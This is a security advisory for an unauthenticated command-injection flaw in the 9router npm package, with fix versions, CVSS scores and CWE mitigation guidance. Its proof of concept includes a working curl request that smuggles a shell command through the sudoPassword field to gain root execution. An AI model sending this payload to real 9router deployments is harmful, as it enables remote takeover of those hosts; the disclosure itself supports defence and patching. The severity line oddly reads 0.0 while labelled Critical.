GHSA-g6g7-pvmx-m74p CVE-2026-59800
9router: Missing Authorization and OS Command Injection
- Severity
- 0.0 / 10
- Critical · CVSS 4.0
- Exploit chance (EPSS)
- 2.08%
- Chance of exploitation in the next 30 days. Higher than 81.47% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- CWE-862 Missing Authorization
- Fix
0.4.44- Upgrade 9router to this version or later
Description
Unauthenticated RCE via /api/tunnel/tailscale-install
Affected: 9router (npm package) — current master (v0.4.39).
Summary
POST /api/tunnel/tailscale-install accepts a JSON body with a sudoPassword field and pipes it, followed by the body of https://tailscale.com/install.sh, into a child process spawned as sudo -S sh. The route is not present in the dashboard middleware matcher in src/proxy.js, so the request reaches the handler without invoking dashboardGuard.proxy(). In deployments where the Node process runs as root (Docker images derived from node:* without a USER directive, npm i -g 9router invoked as root, or systemd units without User=), the spawned sh runs as root and executes the attacker-supplied bytes.
Details
1. Middleware matcher (src/proxy.js:3-15)
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};
Next.js invokes the middleware only for paths matching this list. Routes that are not listed — including the entire /api/tunnel/* family — do not invoke dashboardGuard.proxy(). No cookie, JWT, CLI token, or Host-header check is applied to them.
2. Route handler (src/app/api/tunnel/tailscale-install/route.js:18-67)
export async function POST(request) {
const body = await request.json().catch(() => ({}));
...
const sudoPassword =
body.sudoPassword || getCachedPassword() || await loadEncryptedPassword() || "";
...
const result = await installTailscale(sudoPassword, shortId, (msg) => {
send("progress", { message: msg });
});
...
}
body.sudoPassword comes from the request body and is passed to installTailscale, which dispatches to installTailscaleLinux on Linux.
3. Linux installation routine (src/lib/tunnel/tailscale.js:304-341)
async function installTailscaleLinux(sudoPassword, log) {
log("Downloading install script...");
return new Promise((resolve, reject) => {
const curlChild = spawn("curl", ["-fsSL", "https://tailscale.com/install.sh"], { ... });
let scriptContent = "";
curlChild.stdout.on("data", (d) => { scriptContent += d.toString(); });
curlChild.on("exit", (code) => {
if (code !== 0) return reject(...);
log("Running install script...");
const child = spawn("sudo", ["-S", "sh"], { stdio: ["pipe", "pipe", "pipe"], windowsHide: true });
...
child.stdin.write(`${sudoPassword}\n`); // ← from request body
child.stdin.write(scriptContent);
child.stdin.end();
});
});
}
The byte stream sent to the stdin of the sudo -S sh child process is:
<sudoPassword from request body>\n
<https://tailscale.com/install.sh body>
When the caller is already root, has NOPASSWD configured for the user, or has a recent sudo timestamp cache, sudo -S sh does not read stdin for a password — it execs sh directly. The new sh process inherits the stdin pipe and reads it line by line:
- The
sudoPasswordvalue from the request — interpreted as the first shell command. - The
install.shbody — interpreted as subsequent shell input.
Appending ; exit 0 to the sudoPassword value causes sh to exit before the legitimate install.sh body runs. The host executes only the request-supplied bytes, as the 9router process user.
Both "Docker container running as root" and "npm i -g 9router on a host with NOPASSWD sudo" reach this path.
PoC
The reproduction below is self-contained: build a representative target image (Node process running as root, with sudo and curl on PATH), start it, send one unauthenticated POST with curl, and read the file written by the payload.
Step 1 — build the target image
docker build -t 9router-vuln-root - <<'EOF'
FROM node:22-bookworm-slim
RUN apt-get update && apt-get install -y --no-install-recommends \
sudo curl ca-certificates \
&& rm -rf /var/lib/apt/lists/*
RUN npm install -g 9router@0.4.39
EXPOSE 20128
CMD ["9router"]
EOF
Step 2 — start the target
docker run -d --rm --name target -p 127.0.0.1:20129:20128 \
9router-vuln-root 9router --log --skip-update
until curl -fs -o /dev/null http://127.0.0.1:20129/api/health; do sleep 1; done
Step 3 — exploit (one unauthenticated POST)
curl -sN -X POST http://127.0.0.1:20129/api/tunnel/tailscale-install \
-H 'Content-Type: application/json' \
-d '{"sudoPassword":"id > /tmp/pwned.txt; exit 0"}'
Step 4 — verify
docker exec target cat /tmp/pwned.txt
# uid=0(root) gid=0(root) groups=0(root)
The trailing "Tailscale not installed" line is a consequence of ; exit 0 terminating sh before the legitimate install.sh body executed; the id > /tmp/pwned.txt write completed earlier in the same sh invocation. The POST carried no credentials, cookies, or prior state.
Impact
Type: Improper Access Control + OS Command Injection (CWE-862 + CWE-78).
Affected operators: 9router operators on Linux/macOS whose deployment matches one of the following configurations:
| Configuration | Example | Outcome |
|---|---|---|
| Node process runs as root | Custom Dockerfile without USER, systemd unit without User=, sudo npm i -g 9router && sudo 9router |
Unauthenticated remote root RCE (primary case in this report) |
Node process runs as a normal user with NOPASSWD sudo |
Developer laptop, CI runner, or single-tenant VPS where the operator's user has NOPASSWD: ALL |
Unauthenticated remote RCE as the operator's user; root reachable via sudo from the foothold |
Node process runs as a normal user without NOPASSWD and no stored password |
Hardened multi-user host | The spawn runs but sudo rejects the supplied value. No RCE; the request still triggers an outbound fetch from tailscale.com and the SSE error stream reveals platform information |
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| 9router | < 0.4.44 |
0.4.44 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
9router npm → 0.4.44
- npm
npm install 9router@0.4.44- yarn
yarn add 9router@0.4.44- pnpm
pnpm add 9router@0.4.44
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- Present
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 9.8
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
How to prevent it
- Architecture and Design: If at all possible, use library calls rather than external processes to recreate the desired functionality.
- Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.
- Implementation: While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
- Implementation: If the program to be executed allows arguments to be specified within an input file or from standard input, then consider using that mode to pass arguments instead of the command line.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Some languages offer multiple functions that can be used to invoke commands. Where possible, identify any function that invokes a command shell using a single string, and replace it with a function that requires individual arguments. These functions typically perform appropriate quoting and filtering of arguments. For example, in C, the system() function accepts a string that contains the entire command to be executed, whereas execl(), execve(), and others require an array of strings, one for each argument. In Windows, CreateProcess() only accepts one command at a time. In Perl, if system() is provided with an array of arguments, then it will quote each of the arguments.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing OS command strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing OS command injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent OS command injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, when invoking a mail program, you might need to allow the subject field to contain otherwise-dangerous inputs like ";" and ">" characters, which would ne
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of OS Command Injection, error information passed back to the user might reveal whether an OS command is being executed and possibly which command is being used.
- Operation: Use runtime policy enforcement to create an allowlist of allowable commands, then prevent use of any command that does not appear in the allowlist. Technologies such as AppArmor are available to do this.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-32gc-64m7-hj7v 9Router has a Login Brute-Force Lockout Bypass via Spoofable X-9r-Real-Ip Header | Medium | Also affects 9router |
| GHSA-5mj8-gf6m-fhw8 9Router has an Authentication Bypass in Public LLM API via Spoofable X-9r-Real-Ip Header | High | Also affects 9router |
| GHSA-8g4w-4ffg-8vgx 9Router: Authenticated Server-Side Request Forgery (SSRF) via OIDC Provider Test Endpoint | High | Also affects 9router |
| GHSA-vmjq-hvgq-2wv4 9router: Mass assignment in PATCH /api/settings allows authenticated authorization downgrade | High | Also affects 9router |
| GHSA-6mwv-4mrm-5p3m 9router: Kiro region injection allows authenticated SSRF with Authorization header forwarding | Medium | Also affects 9router |
| GHSA-x5c9-v98j-722r 9router /v1 APIs has unauthenticated access via reverse proxy locality collapse | High | Also affects 9router |
| GHSA-86m2-fcxq-5q7c 9router: Unauthenticated `/v1` proxy access via `Host`-header spoofing → open AI relay + SSRF | High | Also affects 9router |
| GHSA-8gmq-j984-vp4r 9router: Unauthenticated LLM proxy access via /codex rewrite authorization bypass | High | Also affects 9router |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor